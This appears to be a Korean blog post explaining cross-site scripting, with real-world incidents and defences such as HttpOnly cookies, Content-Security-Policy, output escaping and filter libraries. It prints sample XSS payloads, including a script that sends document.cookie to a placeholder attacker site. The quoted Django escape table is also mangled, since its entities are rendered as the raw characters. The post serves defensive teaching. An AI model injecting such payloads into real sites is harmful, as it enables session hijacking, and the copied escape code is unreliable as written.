What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy
What is XSS (Cross-site Scripting)?
01. 시큐리티 - HTTP Only 와 Secure Cookie
Settings | Django documentation | Django
웹툰 댓글에 html을 태그할 수 있는 기능이 추가되고 이를 이용해 웹툰에서 각종 XSS 공격을 시행함 주로 image 태그를 통한 댓글창 도배가 주를 이루었다.
이 후 네이버 웹툰은 html 태그기능을 댓글창에서 제외함
뽐뿌 개인정보 유출 사건 당시 XSS 공격까지 가능하다는 것이 알려지면서 큰 이슈가 있었다. XSS 공격에 대응을 하지 않던 뽐뿌는 임시방편으로 html 에디터 관련된 사용 자체를 막으면서 이미지 업로드 기능을 사용하여 업로드된 이미지들이 나오지 않는 이슈가 존재했다.
UPS.com에서 발견된 XSS 취약점을 악용하여 대규모 피싱 공격이 발견됐다. 공격자들은 XSS 공격을 할 수 있는 취약점을 이용하여, UPS 사칭 이메일을 만들어 피싱 메일을 통해 소비자들이 UPS.com에 접속하면 삽입된 스크립트를 통해 악성 페이로드를 다운로드 받게 공격을 진행했다.
<script>alert('hello');</script>
<img src=x onerror=alert('xss attack')>
크롬 개발자 도구
<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
SESSION_COOKIE_HTTPONLY
(Default: True) 옵션을 설정해주면 세션쿠키에 접근하지 못하도록 할 수 있다.#모든 콘텐츠는 현재 도메인에서만 제공되어야 한다. ( 하위 도메인의 리소스만 사용 )
Content-Security-Policy: default-src 'self'
#신뢰할 수 있는 특정 도메인과 그것의 모든 하위 도메인의 콘텐츠를 허용한다.
Content-Security-Policy: default-src 'self' *.domain.com
#이미지는 모든 도메인, 미디어와 스크립트는 특정 도메인만 허용한다.
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
#기본적으로 HTTPS를 사용하는 특정 도메인만 사용하도록 한다.
Content-Security-Policy: default-src https://onlinebanking.mybank.com
https://csp-evaluator.withgoogle.com/
{{ text | safe }}
<
, >
, &
, \
, “
, ‘
같은 문자열을 안전한 문자열로 바꿔주는 escape 기능이 존재한다._html_escapes = {
ord('&'): '&',
ord('<'): '<',
ord('>'): '>',
ord('"'): '"',
ord("'"): ''',
}
@keep_lazy(str, SafeText)
def escape(text):
"""
Return the given text with ampersands, quotes and angle brackets encoded
for use in HTML.
Always escape input, even if it's already escaped and marked as such.
This may result in double-escaping. If this is a concern, use
conditional_escape() instead.
"""
return mark_safe(str(text).translate(_html_escapes))
from html import escape, unescape # python 3.x
>>>print(excape("<"))
<
>>print(unescape("<"))
<
AntiXSS
AntiXSS 라이브러리는 마이크로소프트사에서 개발한 공개용 XSS 취약점 예방 라이브러리. ASP.net 애플리케이션 개발환경에서 사용되며, 현재ASP.net 4.5 이후 버전에만 사용이 가능
OWASP ESAPI 라이브러리
XSS 취약점을 예방하기 위해 API로 validator와 encoder가 있다. validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다.
OWASP Antisamy
Naver Lucy XSS Filter
https://github.com/naver/lucy-xss-filter
Open Web Application Security Project : 오픈소스 웹 애플리케이션 보안 프로젝트, 가장 큰 오픈소스 웹 앺 ㅡㄹ리케이션 보안 프로젝트로 주로 웹에 관한 정보노출, 악성파일 및 스크립트, 보안 취약점 등을 연구한다.
- 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는 것을 허용하지 않는다.
- 신뢰할 수 없는 데이터는 검증을 하여라.
- HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
- 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
- CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
- URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
- HTML 코드를 전체적으로 한번 더 검증하여라.
좋은 글 감사합니다!!